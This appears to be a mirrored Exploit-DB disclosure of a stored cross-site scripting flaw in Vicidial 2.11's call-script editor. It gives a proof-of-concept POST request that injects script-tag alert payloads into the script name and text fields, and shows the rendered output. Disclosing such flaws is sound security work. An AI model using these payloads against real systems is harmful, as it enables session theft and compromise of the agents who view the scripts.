Vicidial 2.11 – Scripts Persistent Cross-Site Scripting - 体验盒子

作者： David Silveiro

日期： 2016-06-17

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/39970/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

# Exploit Title: Vicidial 2.11 Scripts - Authenticated Stored XSS

# Date: 0 day

# Exploit Author: David Silveiro

# Exploit Author Github: github.com/davidsilveiro

# Vendor Homepage: http://vicidial.org

# Software Link: https://sourceforge.net/projects/astguiclient/files/astguiclient_2.11rc1.zip/download

Vicidial is a popular opensource software, used throughout many different sectors,

such as; call centers for inbound & outband calling.

The vulnerablility is triggered when an authenticated with user sufficient permissions,

creates a script (small text document that the agents use for remembering lines)without

sufficient sanitization happening within "Script Name" and "Script Text". Due to the nature

of how widely this script can be set, for example a whole Tele-marketing campaign or specific

agent, it could very easily be used to infect other hosts on the Network.

POC:

http://localhost.com/vicidial_demo/admin.php?ADD=1111111

POST Data (script_name & script_text);

ADD=2111111&DB=&script_id=tests&script_name=<script>alert('XSS!'</script>&script_comments=test&

active=Y&user_group=---ALL---&selectedField=fullname&script_text=<script>alert('XSS 2!'</script>&SUBMIT=SUBMIT

Click 'Preview Script'

<html>

Preview Script: 1017

<tbody>

<tr>

<td>

alert('XSS!')

</script>

</center>

alert('XSS 2!')

</script>

</td>

</tr>

</tbody>

</table>

</font>

</body>

</html>